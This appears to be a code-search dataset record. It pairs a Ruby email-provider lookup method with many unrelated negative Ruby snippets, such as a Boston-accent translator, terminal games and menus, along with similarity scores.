phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend", "def play_as_codebreaker\n # answer = colors.sample(4)\n loop do\n display.tables(hint.table,decode.table)\n puts \"Please enter your guess #{colors.join(' | ')}:\"\n player.input = gets.split.map(&:capitalize)\n if player.valid_input?\n if player.win?(answer)\n puts \"You won! #{display_answer}\"\n exit\n elsif player.lose?\n puts \"You lost! #{display_answer}\"\n exit\n else\n complete_turn\n end\n else\n puts \"Not a valid input!\"\n end\n end\n end", "def greeting\n#Welcome greeting when program starts\nputs `clear`\ndesign_lines\nprint \"Welcome to the online grocery store\"\ndesign_lines\n# puts\n# design_lines\n# print \"What would you like to do today?\"\n# design_lines\nputs\ndesign_lines\nprint \"How much money do you have to spend today?!\"\ndesign_lines\nputs\n@user_wallet = gets.strip.to_i\nputs\nmenu\nend", "def ask_for_answer(curr_question, answer_hash, correct, colorized_ans = nil)\n fifty = $game_session.fifty_fifty == 0 ? \"#{$game_session.fifty_fifty}\".colorize(:red) : \"#{$game_session.fifty_fifty}\"\n phone = $game_session.phone_a_friend == 0 ? \"#{$game_session.phone_a_friend}\".colorize(:red) : \"#{$game_session.phone_a_friend}\"\n puts \" Current bear-bucks: #{$game_session.current_total_score} 50/50: #{fifty} Phone-a-friend: #{phone}\"\n puts\n print \"Enter your answer: \"\n # user_input = gets.chomp\n user_input = get_answer(curr_question)\n\n # Check for use of gameshow helpers\n if (user_input.downcase.start_with?(\"fifty\") || user_input.start_with?(\"50\"))\n if $game_session.fifty_fifty == 0\n no_helper_usage(\"fifty-fifty\", curr_question, answer_hash, correct, colorized_ans)\n else\n colorized_ans = fifty_fifty(answer_hash, correct)\n print_question(curr_question)\n puts colorized_ans\n ask_for_answer(curr_question, answer_hash, correct, colorized_ans)\n end\n elsif (user_input.downcase.start_with?(\"phone\"))\n if $game_session.phone_a_friend == 0\n no_helper_usage(\"phone-a-friend\", curr_question, answer_hash, correct, colorized_ans)\n else\n phone_a_friend(curr_question, answer_hash, colorized_ans)\n ask_for_answer(curr_question, answer_hash, correct, colorized_ans)\n end\n # Else check answer for correctness\n else\n check_answer(curr_question, answer_hash, user_input)\n sleep(3) if !$TEST_MODE\n system \"clear\"\n end\nend", "def mad_libs\n print \"Enter a noun: \"\n noun = gets.chomp\n print \"Enter a verb: \"\n verb = gets.chomp\n print \"Enter an adjective: \"\n adj = gets.chomp\n print \"Enter an adverb: \"\n adverb = gets.chomp\n puts \"\\nDo you #{verb} your #{adj} #{noun} #{adverb}? That's hilarious!\\n\\n\"\nend", "def display_instructions\n\n\tConsole_Screen.cls #clear the display area\n\tputs \"INSTRUCTIONS:\\n\\n\" #display a heading\n\n\t#display the game's instrucitons\n\tputs \"This game ranomly generates a number from 1 to 1000 and\" \n\tputs \"challenges you to identify it in as few guesses as possible.\" \n\tputs \"After each guess, the game will analyze your input and provide\" \n\tputs \"you with feedback. You may take as many turns as you need in \" \n\tputs \"order to guess the game's secret number.\\n\\n\\n Good luck!\\n\\n\\n\" \n\tprint \"Press Enter to continue.\"\n\n\t Console_Screen.pause\n\n\tend", "def madlibs\n puts \"Enter a noun:\"\n noun = gets.chomp\n puts \"Enter a verb:\"\n verb = gets.chomp\n puts \"Enter an adjective:\"\n adjective = gets.chomp\n puts \"Enter an adverb:\"\n adverb = gets.chomp\n\n puts \"Do you still #{verb} your #{adjective} #{noun} #{adverb} everyday?\"\nend", "def hamster_info\n puts \"what is the hamsters name?\"\n hamster_name = gets.chomp\n puts \"the hamsters name is #{hamster_name}\"\n\n puts \"rank the hamsters noise level from 1-10\"\n hamster_volume = gets.chomp.to_i\n puts \"hamsters volume is #{hamster_volume}\"\n\n puts \"what is the hamsters fur color?\"\n hamster_color = gets.chomp\n puts \"the hamsters fur color is #{hamster_color}\"\n\n puts \"what is the hamsters age\"\n hamster_age = nil\n puts \"the hamsters age is #{hamster_age}\"\n#else\n #gets.chomp = \"\"\n #hamster_age = NIL\n #puts \"we are not sure so #{hamster_age}\"\n\n puts \"is the hamster a good candidate for adoption y/n\"\n hamster_good = gets.chomp\n if hamster_good == \"y\"\n puts \"is hamster a good candidate for adoption? yes\"\n elsif\n hamster_good = \"n\"\n puts \"is hamster a good candidate for adoption? no\"\n\n end\n\nend", "def welcome\n system \"clear\"\n aa = Artii::Base.new :font => 'univers'\n bb = Artii::Base.new :font => 'doh'\n cc = Artii::Base.new :font => 'larry3d'\n dd = Artii::Base.new :font => 'banner3'\n puts bb.asciify('Welcome to')\n sleep(2)\n system \"clear\"\n puts aa.asciify(\"Who Wants To Be A\")\n sleep(1)\n puts bb.asciify(\" Millionbear\")\n puts cc.asciify(\" $$$$$$$$$$$$$$$$$$$$$$$\")\n sleep(2)\n system \"clear\"\n puts aa.asciify \" With your host\"\n sleep(1)\n system \"clear\"\n puts bb.asciify \" Alex\"\n puts bb.asciify \" Trebear\"\n sleep(2)\n system \"clear\"\n # bear_host\n\n if !$IS_LITE_MODE\n Catpix::print_image \"lib/cli/img/bear5.png\",\n :center_x => true,\n :resolution => \"low\",\n :bg_fill => false\n puts\n end\nend", "def main\n system('cls')\n puts '***************************************************************'\n puts '* Welcome to Word Mastermind *'\n puts '***************************************************************'\n puts ''\n puts ' Welcome to Mastermind!'\n puts ''\n puts 'The game will randomly choose a five letter word, its your job'\n puts 'to guess the word'\n puts ''\n puts 'Each word will only have 1 occurance of any given letter and'\n puts 'after each round the game will let you know if the letters in'\n puts 'your guess are:'\n puts '- In the game word and in the right place'\n puts '- In the game word but in the wrong place'\n puts '- Not in the Game word'\n puts ''\n puts ''\n puts 'Good Luck!'\n puts ''\n puts ' Press G to start the game!'\n puts ' Press Q to quit!'\n puts ''\n print 'Option:'\n end", "def help\n puts \"\"\n puts \"TYPE ONE OF THE FOLLOWING...\"\n puts \"=========================================================\"\n puts \"type: the number next to the coin you'd like more info of\"\n puts \" if their is no number type 'list' to view it\"\n puts \"---------------------------------------------------------\"\n puts \"type: 'list' - to see the list of coins again\"\n puts \"---------------------------------------------------------\"\n puts \"type: 'details' - to see the details of the list of coins\"\n puts \"---------------------------------------------------------\"\n puts \"type: 'exit' - to exit\"\n puts \"=========================================================\"\n end", "def banner\n\tputs\n\tputs \"#{HC}#{FWHT}Linux Log Cleaner\"\n\tputs \"By: #{FGRN}Hood3dRob1n#{RS}\"\n\tputs\nend", "def display_instrutions\n\n\tConsole_Screen.cls #clear the display area\n\tputs \"\\t\\t\\tInstructions: \\n\\n\" #display a heading\n\n\t#display the game's instrutions\n\tputs %Q{ This test consists of a series of 10 typing challenges. The challenge sentences are presented one at a time. To respond correctly, you must retype each sentence exactly as shown and press the Enter key. You receive an A if you get 9 or 10 right, a B if you get 8 right, a C if you get 7, a D if you get 6 and F for anything 5 or below. Happy gaming. \\n\\n\\n\\n\\n\\n Press Enter to continue.\\n\\n}\n\n\tConsole_Screen.pause\nend", "def runner\n #setup \nwelcome\ncard_total = initial_round\nprompt_user\ninput = get_user_input\nuntil card_total > 21\n if input == \"h\"\n card_total = new_hit(card_total)\n display_card_total(card_total)\n elsif input == \"s\"\n stay=true\n else\n invalid_command\n end \n end\n if card_total == 21\n puts \"You Drew Blackjack\"\n return \"You Win!!\"\n end \n if card_total > 21\n puts \"Sorry, you hit 30. Thanks for playing!\"\n end \n\nend", "def angry_boss\n puts \"Whaddaya want\"\n ask = gets.chomp\n puts \"whaddaya mean '#{ask}'?!? yer fired!!\".upcase\nend", "def main_menu\n puts \"------------------------------------------------------------------------------------------------------\".colorize(:yellow)\n Artii::Base#asciify\n a = Artii::Base.new\n a.asciify(\"Toy Robot Challenge\")\n system(\"clear\")\n puts a.asciify(\"Toy Robot Challenge\").colorize(:red,)\n\n prompt = TTY::Prompt.new\n choices = [\n {name: 'New Game.', value: 1},\n {name: 'Exit.', value: 2},\n ]\n players_input = prompt.select(\"Select An Option:\", choices) \n case players_input\n when 1\n new_game\n when 2\n exit\n end \nend", "def star_loop\n selection = ''\n while true\n puts \"Type the number of the post that you want to learn about\"\n print \" (or hit return to view all again, you ego-maniac) >> \"\n selection = $stdin.gets.chomp\n break if ['','q','quit','exit','fuckthis'].include?(selection.downcase)\n show(selection)\n end\n display if selection == ''\n end", "def start_game\n\nai = ['R','P','S'].sample\n\nprompt(\"Choose paper(p), rock(r) or scissor(s)\")\nhuman = gets.chomp.upcase\n\n case\n when human == \"P\" && ai == \"P\"\n prompt(\"You chose Paper and I chose Paper: Tie\")\n when human == \"R\" && ai == \"R\"\n prompt(\"You chose Rock and I chose Rock: Tie\")\n when human == \"S\" && ai == \"S\"\n prompt(\"You chose Scissors and I chose Scissors: Tie\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose paper and I chose Rock, you win!\")\n when human == \"R\" && ai == \"S\"\n prompt(\"You chose Rock and I chose Scissors, You win!\")\n when human == \"S\" && ai == \"P\"\n prompt(\"You chose Scissors and I chose Paper, You win!\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose Paper and I chose Rock, You win! \")\n when human == \"S\" && ai == \"R\"\n prompt(\"You chose Scissors and I chose Rock, I win!\")\n when human == \"P\" && ai == \"S\"\n prompt(\"You chose Paper and I chose Scissors, I win\")\n when human == \"R\" && ai == \"P\"\n prompt(\"You chose Rock and I chose Paper, I win!\")\n end\nend", "def menu\n puts `clear`\n puts Rainbow(\"*** Welcome to the calculator ***\").magenta.bright.underline\n puts Rainbow(\"Choose your type of calculator\").green.bright.blink\n print Rainbow(\"(b)\").green + \"asic or \" + Rainbow(\"(a)\").yellow + \"dvance or \" + Rainbow(\"(g)\").cyan + \"ometry or \" + Rainbow(\"(l)\").blue + \"ength conversion or \" + Rainbow(\"(p)\").magenta + \"eriod or \" + Rainbow(\"(t)\").green + \"mperature or \" + Rainbow(\"(w)\").cyan + \"eight or \" + Rainbow(\"(q)\").red + \"uit: \"\n gets.chomp.downcase\n\nend", "def FeedbackDisplay(guess, array, guesses, contains, hit, used)\n system \"clear\" or system \"cls\" # Clears the terminal screen so it doesn't look cluttered\n StartScreen(false)\n puts \"│ #{guess[0]} │ #{guess[1]} │ #{guess[2]} │ #{guess[3]} │ #{guess[4]} │\".center(CONSOLE_WIDTH)\n puts \"│#{array[0]} │#{array[1]} │#{array[2]} │#{array[3]} │#{array[4]} │\".center(CONSOLE_WIDTH)\n puts \"├─────┴─────┴─────┴─────┴─────┤\".center(CONSOLE_WIDTH)\n if guesses > 9\n puts \"│ Guesses left: #{guesses} │\".center(CONSOLE_WIDTH)\n else\n puts \"│ Guesses left: #{guesses} │\".center(CONSOLE_WIDTH)\n end\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Word contains: #{contains} │\".center(CONSOLE_WIDTH)\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Word: #{hit[0]}#{hit[1]}#{hit[2]}#{hit[3]}#{hit[4]} │\".center(CONSOLE_WIDTH)\n puts \"├─────────────────────────────┤\".center(CONSOLE_WIDTH)\n puts \"│ Letters used: │\".center(CONSOLE_WIDTH)\n puts \"│ #{used} │\".center(CONSOLE_WIDTH)\n puts \"└─────────────────────────────┘\".center(CONSOLE_WIDTH)\nend", "def main_menu\n puts \"[1] - Display animals\"\n puts \"[2] - Display clients\"\n puts \"[3] - Enter animal to database\"\n puts \"[4] - Enter client to database\"\n puts \"[5] - Client is adopting animal\"\n puts \"[6] - Client is putting animal up for adoption\"\n puts \"[7] - Clear\"\n puts \"[8] - Quit\"\n\n print \"Please enter in your choice: \"\n response = gets.to_i\n\n case response\n when 1\n display_animals\n when 2\n display_clients\n when 3\n create_animal\n when 4\n create_client\n when 5\n adopt_animal\n when 6\n deposit_animal\n when 7\n puts `clear`\n when 8\n return Rainbow(\"badger badger badger badger badger badger badger badger badger badger badger badger badger mushroom mushroom \" * 10).yellow\n end\n\n main_menu\nend", "def ask_for_movie_choice\n puts \"Choose a number between 1-10 to select a movie\"\n #get user input\n input = gets.chomp.to_i\n until valid_input?(input)\n puts \"Sorry, that's not a valid choice - choose 1-10\"\n input = gets.chomp.to_i\n end\n\n puts \"Great pick, let's check out some more information!\"\n puts \"-------------------------------------------------------->\"\n storyline(input)\n end", "def play(songs)\n puts \"What song would you like to play?\"\n choice = gets.strip #gets will make it a string\n if songs.include?(choice) #this would be better if we regex'ed it for presence of the first word because people are usually too lazy to type everything\n puts choice\n else\n if choice.to_i > songs.size || choice.to_i < 0\n puts \"Invalid input, please try again!\" \n else\n puts \"Playing #{songs[choice.to_i-1]}\"\n end\n end\n puts choice\nend" ]
[ "0.63906", "0.6352123", "0.63123804", "0.6236599", "0.62223774", "0.61803234", "0.61717564", "0.61169785", "0.6095051", "0.6094317", "0.6083893", "0.6067006", "0.60103965", "0.6009977", "0.60073614", "0.5999005", "0.5976693", "0.5962276", "0.59530103", "0.59485453", "0.59337705", "0.5927517", "0.59260416", "0.5921373", "0.5910461", "0.5910043", "0.5896779", "0.58920866", "0.5879643", "0.5872954", "0.58658564", "0.58560807", "0.58491266", "0.58478266", "0.58437407", "0.58411366", "0.5827097", "0.5826795", "0.58228785", "0.58194536", "0.58177286", "0.58111906", "0.5810335", "0.58075225", "0.58027124", "0.5797983", "0.57945603", "0.5785945", "0.5780328", "0.57709616", "0.5770247", "0.5756838", "0.5747688", "0.5745533", "0.5741223", "0.5739775", "0.57381475", "0.57368827", "0.57337517", "0.57311195", "0.5728659", "0.5726681", "0.57264227", "0.57254785", "0.5723813", "0.5716993", "0.57083166", "0.5700105", "0.5693191", "0.568898", "0.5684887", "0.5677195", "0.5675561", "0.5666392", "0.5658382", "0.5657966", "0.5655339", "0.5651518", "0.56487477", "0.5648445", "0.56466115", "0.56423193", "0.564178", "0.564052", "0.56404084", "0.56392074", "0.56386036", "0.5631999", "0.5625699", "0.5625288", "0.56236833", "0.562058", "0.56195927", "0.5618453", "0.5617551", "0.56096065", "0.56070244", "0.5606778", "0.56055343", "0.5603587" ]
0.63559103
1
Returns provider based on configured domain name matches, or nil if unmatched For best results, consider the Exchanger.provider result as well.
def provider EmailAddress::Config.providers.each do |name, defn| return name if EmailAddress::DomainMatcher.matches?(@host_name, defn[:domains]) end nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def provider\n return @provider if defined? @provider\n Config.providers.each do |provider, config|\n if config[:exchanger_match] && matches?(config[:exchanger_match])\n return @provider = provider\n end\n end\n @provider = :default\n end", "def find_provider(provider_name, domain_front)\n @options[:format] = :dots_9\n spinner = TTY::Spinner.new(\"[:spinner] Auto-detecting\", @options)\n case provider_name\n when :auto\n domain = Adomain.domain(domain_front)\n [amazon, azure, alibaba].map do |provider|\n if provider[:dfront].include?(domain)\n # spinner.update(title: \"Provider found: #{provider[:name].bold}\")\n # spinner.reset\n spinner.success(\" | Provider found: #{provider[:name].bold}\")\n return provider[:name].downcase.to_sym\n end\n end\n when :amazon || :azure || :alibaba\n provider_name\n else\n spinner.error(\"Failed to auto detect provider: please use '-p' and choose from: 1, 2 or 3\")\n end\n end", "def provider\n use_provider('null') unless defined? @provider\n @provider\n end", "def provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n prov_name = provider_name\n rv = browser.providers[prov_name.to_sym] if prov_name.present?\n rv ||= browser.first_provider\n # browser.providers[provider_name.to_sym] || browser.first_provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end", "def get_service_provider(provider)\n case provider.class.to_s\n when 'Fixnum' then provider_by_id(provider)\n when 'String' then (provider.to_i > 0 ? provider_by_id(provider) : provider_by_name(provider))\n when 'Symbol' then provider_by_name(provider)\n when 'NilClass' then nil\n else\n provider\n end\n end", "def provider\n @provider or raise \"No provider set via space.use_provider\"\n end", "def provider_by_name(provider_name)\n key = provider_name.to_s.downcase\n provider_list.detect{|p| key == p.name || provider_name == p.human_name}\n end", "def provider\n get(PROVIDER)\n end", "def provider_class(provider)\n if provider.to_s =~ /google/\n 'google-plus'\n else\n provider\n end\n end", "def provider\n conf['provider'] || 'defaults'\n end", "def provider\n providers.first\n end", "def formatted_provider\n if provider_missing?\n case provider\n when 'ELDERSERVEHEALTH'\n Provider[5]\n when 'AMERIGROUP'\n Provider[1]\n else\n Provider[16]\n end\n else\n Provider.where(name: provider).first\n end\n end", "def set_provider\n PROVIDERS.each do |name|\n regex_string = PROVIDERS.first.eql?(name) ? name[0..-3] : name\n self.provider = name if link =~ /#{regex_string}/\n end\n end", "def provider\n @provider\n end", "def first_provider(provider)\n @first_provider ||= authentications.each { |a| return a if a.provider == provider }\n end", "def provider_name\n return @provider_name\n end", "def cloud_provider\n (cloud.nil? ? nil : cloud.cloud_provider)\n end", "def provider_name\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = params[:provider] || provider_name_from_state || browser.providers.each_key.to_a.first\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_name rv=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end", "def find(url)\n @@urls.keys.each do |url_regexp|\n next unless url_regexp.match?(url)\n\n matching_provider = @@urls[url_regexp].detect { |p| p.include?(url) }\n\n # If we've found a matching provider, return it right away!\n return matching_provider if matching_provider\n end\n\n nil\n end", "def provider_class\n @provider_class ||= \"::Providers::#{self.provider.camelize}\".constantize.new(self)\n end", "def provider_config\n @config[:providers].each do |provider|\n # Convert the symbol from the config into a string for comparison\n return (provider[1].nil? ? {} : provider[1]) if provider[0].to_s == @provider_name\n end\n\n nil\n end", "def resolve_provider\n attributes.fetch(:resolveProvider)\n end", "def provider(val=nil)\n if val && !val.is_a?(Class)\n resource_names = [resource_name]\n # If subclass_providers! might be in play, check for those names too.\n resource_names.concat(self.class.subclass_resource_equivalents) if self.class.respond_to?(:subclass_resource_equivalents)\n # Silly ruby tricks to find the first provider that exists and no more.\n provider_class = resource_names.lazy.map {|name| Poise::Helpers::Inversion.provider_for(name, node, val) }.select {|x| x }.first\n Poise.debug(\"[#{self}] Checking for an inversion provider for #{val}: #{provider_class && provider_class.name}\")\n val = provider_class if provider_class\n end\n super\n end", "def is_provider?\n self.provider?\n end", "def provider_class\n @__klass ||= Yeller::Provider.class_of(provider)\n end", "def get_credentials_provider\n @providers.each { |p|\n begin\n # if token is assigned, that's the provider we want.\n # providers must throw NoValueError so that we can fall to the next provider if necessary\n CerberusUtils::get_credentials_from_provider(p)\n return p\n\n rescue Cerberus::Exception::NoValueError\n next\n end\n }\n\n # we should have found and returned a valid provider above, else there's a problem\n CerberusUtils::Log.instance.error(\"Could not find a valid provider\")\n raise Cerberus::Exception::NoValidProviders.new\n end", "def provider\n @provider ||= Bosh::CloudFoundry::Providers.for_bosh_provider_name(system_config)\n end", "def set_selected_provider\n autodetect_selected_provider if params[:provider] == 'auto' && params[:ord].present?\n\n @selected_provider = case params[:provider]\n when 'estcard'\n if EcwidPizzeria::Application.config.estcard.enabled\n prepare_estcard\n params[:provider]\n end\n when 'paypal'\n if EcwidPizzeria::Application.config.paypal.enabled\n prepare_paypal\n params[:provider]\n end\n when %r(\\Amakecommerce_(.*)\\z)\n payment_method = $1\n @payment_method = payment_method\n\n @payment_method = if EcwidPizzeria::Application.config.make_commerce.enabled && makecommerce_service.enabled_payment_methods.include?(payment_method)\n params[:provider] = 'makecommerce'\n payment_method\n else\n nil\n end\n params[:provider]\n when *EcwidPizzeria::Application.config.banks.enabled\n prepare_ipizza\n params[:provider]\n end\n end", "def use_provider( name )\n name = name.to_s\n raise Polylog::UnknownProvider, \"unknown provider: #{name.inspect}\" unless @providers.key? name\n\n @provider = @providers[name]\n end", "def my_provider\n self.class.my_provider\n end", "def mappings_provider(provider_name, is_legacy = false)\n return nil if provider_name.nil?\n provider = nil\n module_name = is_legacy ? 'Highlander': 'Cfhighlander'\n begin\n providers = Object.const_get(module_name).const_get('MapProviders')\n providers.const_get(provider_name)\n rescue NameError => e\n if e.to_s.include? \"uninitialized constant\"\n return mappings_provider(provider_name, true) unless is_legacy\n return nil\n end\n STDERR.puts(e.to_s)\n raise e\n end\nend", "def chosen_provider\n if cpi = store[:chosen_provider_id] and cpi.to_s.to_sym == :deferred\n return false\n else\n User.where(id: store[:chosen_provider_id] || store[:chosen_provider_selection_id], business_id: business.id).first\n end\n end", "def provider\n @provider ||= Bosh::CloudFoundry::Providers.for_bosh_provider_name(system_config)\n end", "def maybe_explicit_provider(resource)\n return nil unless resource.provider\n resource.provider\n end", "def suitable_providers\n return @suitable_providers if @suitable_providers\n @suitable_providers = []\n [\n @resource.class.defaultprovider,\n @resource.class.suitableprovider,\n ].flatten.uniq.each do |provider_class|\n if service_provider_enabled? provider_class\n @suitable_providers << provider_class.name\n end\n end\n @suitable_providers\n end", "def parse_provider_domain_record_name args\r\n case @options['route_dns_changes_via']\r\n when 'rackspace'\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n when 'dnsimple'\r\n args['subdomain']\r\n else\r\n \"#{ args['subdomain'] }.#{ args['domain'] }\"\r\n end\r\n end", "def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n \n # If no match, use the first repository as the default\n settings.repositories.first\n end", "def repository\n # Match on hostname\n settings.repositories.each do |repository|\n next if repository.cname.nil?\n if repository.cname.upcase == request.host.upcase\n return repository\n end\n end\n\n # If no match, use the first repository as the default.\n settings.repositories.first\n end", "def provider_to_email(providerName)\t\t \n\t\tif providerName.eql? \"T-Mobile\"\n\t\t\treturn \"@tmomail.net\"\n\t\telsif providerName.eql? \"AT&T\"\n\t\t\treturn \"@txt.att.net\"\n\t\telsif providerName.eql? \"Verizon\"\n\t\t\treturn \"@vtext.com\"\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def 